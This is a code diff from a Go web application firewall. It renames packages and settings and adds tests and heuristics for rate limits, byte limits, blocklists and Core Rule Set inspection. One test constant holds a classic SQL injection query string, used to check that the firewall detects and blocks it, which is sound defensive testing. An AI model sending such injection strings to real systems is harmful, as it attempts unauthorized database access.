{asnLimitPercent, asnDEHalf, fromDE}, {tagLimitPercent, asnTagDEHalf, fromDE},
{countryLimitPercent, countryDEHalf, fromDE}, {tagLimitPercent, countryTagDEHalf, fromDE},
{unknownLimitPercent, "50", unplaced}, {unknownLimitPercent, "50", unplaced},
} { } {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
@@ -72,17 +76,19 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
}{ }{
{http.StatusOK, requestlog.ActionForward}, {http.StatusOK, requestlog.ActionForward},
{http.StatusOK, requestlog.ActionForward}, {http.StatusOK, requestlog.ActionForward},
{http.StatusForbidden, requestlog.ActionRateLimited}, {http.StatusForbidden, requestlog.ActionClientIsRateLimited},
} { } {
line := s.get(tc.from, sent.status, sent.action) line := s.get(tc.from, sent.status, sent.action)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"50 from "+tc.setting) "50 from "+tc.setting)
} }
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
for range 3 { for range 3 {
line := s.get(fromKP, http.StatusOK, requestlog.ActionForward) line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
} }
}) })
@@ -96,8 +102,8 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
setting, value, from string setting, value, from string
}{ }{
{asnLimitPercent, asnDEHalf, fromDE}, {tagLimitPercent, asnTagDEHalf, fromDE},
{countryLimitPercent, "DE:50", fromDE}, {tagLimitPercent, "Country=de:50", fromDE},
{unknownLimitPercent, "50", unplaced}, {unknownLimitPercent, "50", unplaced},
{asnBytesPercent, "as64496:50", fromDE}, {asnBytesPercent, "as64496:50", fromDE},
{countryBytesPercent, countryDEHalf, fromDE}, {countryBytesPercent, countryDEHalf, fromDE},
@@ -115,7 +121,8 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes) t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
} }
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
"50 from "+tc.setting) "50 from "+tc.setting)
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
@@ -124,7 +131,8 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit) t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
} }
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, none) wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
}) })
} }
} }
@@ -135,9 +143,9 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
for _, tc := range []struct { for _, tc := range []struct {
name string name string
env map[string]string env map[string]string
// limitPercent and bytesPercent are the log line's, as percentText // rateLimitPercent and bytesLimitPercent are the log line's, as
// gives them, and limitHit is its limit_hit. // percentText gives them, and limitHit is its limit_hit.
limitPercent, bytesPercent, limitHit string rateLimitPercent, bytesLimitPercent, limitHit string
}{ }{
{ {
"lowering the byte limits alone", "lowering the byte limits alone",
@@ -151,13 +159,13 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
}, },
{ {
"raising the byte limits back", "raising the byte limits back",
map[string]string{asnLimitPercent: asnDEHalf, asnBytesPercent: asnDE + ":100"}, map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
"50 from " + asnLimitPercent, none, "", "50 from " + tagLimitPercent, none, "",
}, },
{ {
"raising the byte limits back, by country", "raising the byte limits back, by country",
map[string]string{countryLimitPercent: countryDEHalf, countryBytesPercent: "de:100"}, map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
"50 from " + countryLimitPercent, none, "", "50 from " + tagLimitPercent, none, "",
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -173,10 +181,12 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit) t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
} }
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
tc.limitPercent) line.RateLimitPercent, line.RateLimitPercentSetting,
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, tc.rateLimitPercent)
tc.bytesPercent) wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.bytesLimitPercent)
}) })
} }
} }
@@ -184,19 +194,19 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
func TestZeroPercentIsAZeroAllowance(t *testing.T) { func TestZeroPercentIsAZeroAllowance(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{asnLimitPercent: asnDE + ":0"}) s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
// The first request breaks the limit, and bans the client; the log line // The first request breaks the limit, and bans the client; the log line
// gives the 0. // gives the 0.
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.fields["limit_percent"] != float64(0) || if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["limit_percent_setting"] != asnLimitPercent { line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf("log line has limit_percent %v from %v, want 0 from %s", t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["limit_percent"], line.fields["limit_percent_setting"], line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
asnLimitPercent) unknownLimitPercent)
} }
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
func TestLowestPercentageApplies(t *testing.T) { func TestLowestPercentageApplies(t *testing.T) {
@@ -206,34 +216,34 @@ func TestLowestPercentageApplies(t *testing.T) {
name string name string
env map[string]string env map[string]string
from string from string
// want is the log line's limit_percent, as percentText gives it. // want is the log line's rate_limit_percent, as percentText gives it.
want string want string
}{ }{
{ {
"the country's", "the country's",
map[string]string{asnLimitPercent: asnDEHalf, countryLimitPercent: "de:25"}, map[string]string{tagLimitPercent: asnTagDEHalf + "," + countryTagDEQuarter},
fromDE, "25 from " + countryLimitPercent, fromDE, "25 from " + tagLimitPercent,
}, },
{ {
"the AS number's", "the AS number's",
map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: countryDEHalf}, map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEHalf},
fromDE, "25 from " + asnLimitPercent, fromDE, "25 from " + tagLimitPercent,
}, },
{ {
"the AS number's, the first of two alike", "the AS number's, the first of two alike",
map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: "de:25"}, map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEQuarter},
fromDE, "25 from " + asnLimitPercent, fromDE, "25 from " + tagLimitPercent,
}, },
{ {
"that for a client without a country", "that for a client without a country",
map[string]string{asnLimitPercent: "AS64500:50", unknownLimitPercent: "25"}, map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
noCountry, "25 from " + unknownLimitPercent, noCountry, "25 from " + unknownLimitPercent,
}, },
{ {
// SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100. // SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country", "the AS number's, for a client without a country",
map[string]string{asnLimitPercent: "AS64500:25"}, map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + asnLimitPercent, noCountry, "25 from " + tagLimitPercent,
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -246,8 +256,9 @@ func TestLowestPercentageApplies(t *testing.T) {
// A quarter of 4 requests a minute: the second breaks the limit. // A quarter of 4 requests a minute: the second breaks the limit.
s.get(tc.from, http.StatusOK, requestlog.ActionForward) s.get(tc.from, http.StatusOK, requestlog.ActionForward)
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionRateLimited) line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want) tc.want)
}) })
} }
@@ -265,7 +276,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *test
for _, from := range []string{unplaced, "10.0.0.8"} { for _, from := range []string{unplaced, "10.0.0.8"} {
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited) s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
} }
// One in a country has the whole limit. // One in a country has the whole limit.
@@ -280,7 +291,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers. // says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{unknownLimitPercent: "0"}) map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client // Once the time the request waits for its answer is up, the client
@@ -289,8 +300,9 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t) line := out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited) wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownLimitPercent) "0 from "+unknownLimitPercent)
}) })
} }
@@ -304,8 +316,12 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
setting, value string setting, value string
waits bool waits bool
}{ }{
{asnLimitPercent, asnDEHalf, true}, {tagLimitPercent, asnTagDEHalf, true},
{countryLimitPercent, countryDEHalf, true}, {tagLimitPercent, countryTagDEHalf, true},
{tagDeny, denyKP, true},
// A tag the lookup does not give needs no answer.
{tagLimitPercent, "vpn:50", false},
{tagDeny, "vpn", false},
{asnBytesPercent, asnDEHalf, true}, {asnBytesPercent, asnDEHalf, true},
{countryBytesPercent, countryDEHalf, true}, {countryBytesPercent, countryDEHalf, true},
{unknownLimitPercent, "99", true}, {unknownLimitPercent, "99", true},
@@ -319,8 +335,10 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers. // says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value}) map[string]string{
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
})
began := time.Now() began := time.Now()
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab")) serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
@@ -363,15 +381,15 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
{ {
// A quarter of 12 requests a minute is 3: the fourth breaks it. // A quarter of 12 requests a minute is 3: the fourth breaks it.
"a rate limit", "a rate limit",
map[string]string{rateLimitPerMinute: "12", asnLimitPercent: asnDEQuarter}, map[string]string{rateLimitPerMinute: "12", tagLimitPercent: asnTagDEQuarter},
3, http.StatusForbidden, requestlog.ActionRateLimited, 3, http.StatusForbidden, requestlog.ActionClientIsRateLimited,
"requests per minute over the limit of 3", "25 from " + asnLimitPercent, "requests per minute over the limit of 3", "25 from " + tagLimitPercent,
}, },
{ {
// The byte limits' percentage, not the rate limits'. // The byte limits' percentage, not the rate limits'.
"a byte limit", "a byte limit",
map[string]string{ map[string]string{
bytesLimitPerMinute: twoUploads, asnLimitPercent: asnDEQuarter, bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
asnBytesPercent: asnDEHalf, asnBytesPercent: asnDEHalf,
}, },
0, http.StatusOK, requestlog.ActionForward, 0, http.StatusOK, requestlog.ActionForward,
@@ -419,7 +437,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
// clock. // clock.
func startWithLookups( func startWithLookups(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *servewaf.Server, *alerts.Queue) { ) (*sender, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
s, _, server, queue := startWithLookupsAndClock(t, env) s, _, server, queue := startWithLookupsAndClock(t, env)
@@ -434,7 +452,7 @@ func startWithLookups(
// country, and no other address. // country, and no other address.
func startWithLookupsAndClock( func startWithLookupsAndClock(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *clock, *servewaf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
@@ -463,11 +481,13 @@ func (s *sender) uploadFrom(from string) logLine {
// serveFromDE hands a question about a request from fromDE with method and body // serveFromDE hands a question about a request from fromDE with method and body
// straight to server's handler, without the network, and returns once it is // straight to server's handler, without the network, and returns once it is
// answered. // answered.
func serveFromDE(t *testing.T, server *servewaf.Server, method string, body io.Reader) { func serveFromDE(
t *testing.T, server *discriminator.Server, method string, body io.Reader,
) {
t.Helper() t.Helper()
req := httptest.NewRequestWithContext(t.Context(), method, "/", body) req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
req.Header.Set(servewaf.ClientHeader, fromDE) req.Header.Set(discriminator.ClientHeader, fromDE)
req.Header.Set(requestIDHeader, "the-id") req.Header.Set(requestIDHeader, "the-id")
server.Handler.ServeHTTP(httptest.NewRecorder(), req) server.Handler.ServeHTTP(httptest.NewRecorder(), req)
@@ -485,7 +505,7 @@ func wantPercent(t *testing.T, what string, percent *int64, setting, want string
} }
// percentText gives a limit percentage and the setting that gave it as // percentText gives a limit percentage and the setting that gave it as
// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are // text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
// left out. // left out.
func percentText(percent *int64, setting string) string { func percentText(percent *int64, setting string) string {
switch { switch {
+41
View File
@@ -0,0 +1,41 @@
package discriminator
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
// through the reputation lists.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// blocklists notes the blocklists that list the client, as noteListed does,
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
// lowers the client's limits instead (see limitPercentages), and being log, it
// does nothing more. Its figure is the blocklists that list the client.
type blocklists struct{}
func (blocklists) name() string { return "blocklists" }
func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
listedBy := rq.h.lists.ListedBy(rq.client)
rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist")
if !rq.refusedByBlocklists(listedBy) {
return nil
}
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{"lists": listedBy},
}
}
// refusedByBlocklists reports whether the heuristic blocklists refuses a
// client, given listedBy, the blocklists that list it: it does when one lists
// it and SWW_BLOCKLIST_ACTION is deny.
func (rq *request) refusedByBlocklists(listedBy []string) bool {
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
}
+41
View File
@@ -0,0 +1,41 @@
package discriminator
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages.
import (
"context"
"time"
)
// byteLimits counts the request's bytes, as countedBytes gives them, for the
// byte limits, once its report has come, and notes the client's byte totals for
// the log line; its requests stay there as the rate limits counted them. Only
// an allowed request has them counted, and only one the rate limits counted; in
// observe mode, not one that enforce mode would have refused. Bytes that take
// the client over a byte limit, as its limit percentage for the byte limits
// lowers it, break it, which bans the client; the response was passed on whole.
// Its figures are the window, the count and the limit.
type byteLimits struct{}
func (byteLimits) name() string { return "byte_limits" }
func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
if !rq.counted || rq.line.WouldAction != "" {
return nil
}
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.countedBytes(), rq.bytesLimitPercent.percent)
rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes
if !over {
return nil
}
rq.banForLimit(now, hit, rq.out.status)
return &verdict{figures: limitFigures(hit)}
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -19,13 +19,13 @@ import (
// The byte limit settings. // The byte limit settings.
const ( const (
bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE" bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR" bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY" bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCount = "SWWAF_BYTES_COUNT" bytesCount = "SWW_BYTES_COUNT"
) )
// The values of SWWAF_BYTES_COUNT. // The values of SWW_BYTES_COUNT.
const ( const (
countResponse = "response" countResponse = "response"
countRequest = "request" countRequest = "request"
@@ -40,7 +40,7 @@ const (
// byteLimit is the byte limit these tests set, as a setting: a request // byteLimit is the byte limit these tests set, as a setting: a request
// with a body and its answer, 100 bytes, go over it. // with a body and its answer, 100 bytes, go over it.
byteLimit = "99" byteLimit = "99"
// minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE. // minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
minuteBytes = "minute_bytes" minuteBytes = "minute_bytes"
) )
@@ -90,14 +90,29 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
line.BanExpires, tc.window, expires) line.BanExpires, tc.window, expires)
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantMetric(t, s.scrape(), `smallwebwaf_rate_limit_hits_total{`+ wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1) `instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
}) })
} }
} }
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
line, _ := s.download()
wantAfterAnswerHeuristic(t, line, "", "null")
// Two answers of 70 bytes are over the limit of 99.
line, _ = s.download()
wantHeuristic(t, line, "", "null")
wantAfterAnswerHeuristic(t, line, "byte_limits",
`{"window": "minute", "count": 140, "limit": 99}`)
}
func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) { func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
t.Parallel() t.Parallel()
@@ -110,7 +125,7 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes) len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) { func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
@@ -132,7 +147,7 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
answerBytes, minuteBytes, expires) answerBytes, minuteBytes, expires)
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) { func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
@@ -161,7 +176,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted) line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}) })
} }
} }
@@ -203,7 +218,7 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
} }
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}) })
} }
} }
@@ -212,8 +227,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
@@ -371,7 +386,7 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T)
// counted, and the byte limit is not broken. Its line gives the bytes // counted, and the byte limit is not broken. Its line gives the bytes
// counted before it. // counted before it.
line := s.upload() line := s.upload()
wantWouldAction(t, line, requestlog.ActionRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes { if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d", t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
@@ -1,4 +1,4 @@
package servewaf package discriminator
import ( import (
"crypto/rand" "crypto/rand"
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
// clientGroup is the client a request is counted toward: its IPv4 // clientGroup is the client a request is counted toward: its IPv4
// address, or its IPv6 group, the netblock its IPv6 address is in of the // address, or its IPv6 group, the netblock its IPv6 address is in of the
// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser // length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4. // usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix { func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
addr = addr.Unmap() addr = addr.Unmap()
+100
View File
@@ -0,0 +1,100 @@
package discriminator
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
// and SWW_WAF_ANOMALY_THRESHOLD.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// coreRuleSet inspects the request with the Core Rule Set, unless
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
// which is an offence its client's history counts. Its figures are the score
// and the threshold.
type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" }
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil
}
start := time.Now()
// A question's body has been read into memory, so that reading it here
// cannot fail.
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read))
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
rq.line.CoreRuleSetScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return nil
}
rq.addTag(config.ExploitSignatureTag)
rq.alertCoreRuleSetMatch(result)
if cfg.WAFMode == config.WAFModeDetect {
return nil
}
rq.blockedByCoreRuleSet = true
return &verdict{
action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
}
}
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventCoreRuleSetMatch,
Host: rq.site,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"io" "io"
@@ -14,13 +14,13 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and // The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
// its two modes that inspect requests. // its two modes that inspect requests.
const ( const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD" wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
block = "block" block = "block"
detect = "detect" detect = "detect"
) )
@@ -28,7 +28,7 @@ const (
// formData is the type of a form's body. // formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded" const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies, 1K as a // sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
// setting. // setting.
const ( const (
sizeLimit = 1 << 10 sizeLimit = 1 << 10
@@ -37,30 +37,72 @@ const (
// sqlInjection asks for / with an SQL injection in its query, which only // sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default // the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD. // SWW_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1" const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and // wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
// that it has duration_waf, or with no score, that it has none of the // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
// three: the Core Rule Set did not inspect the request. // score, that it has none of the three: the Core Rule Set did not inspect the
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) { // request.
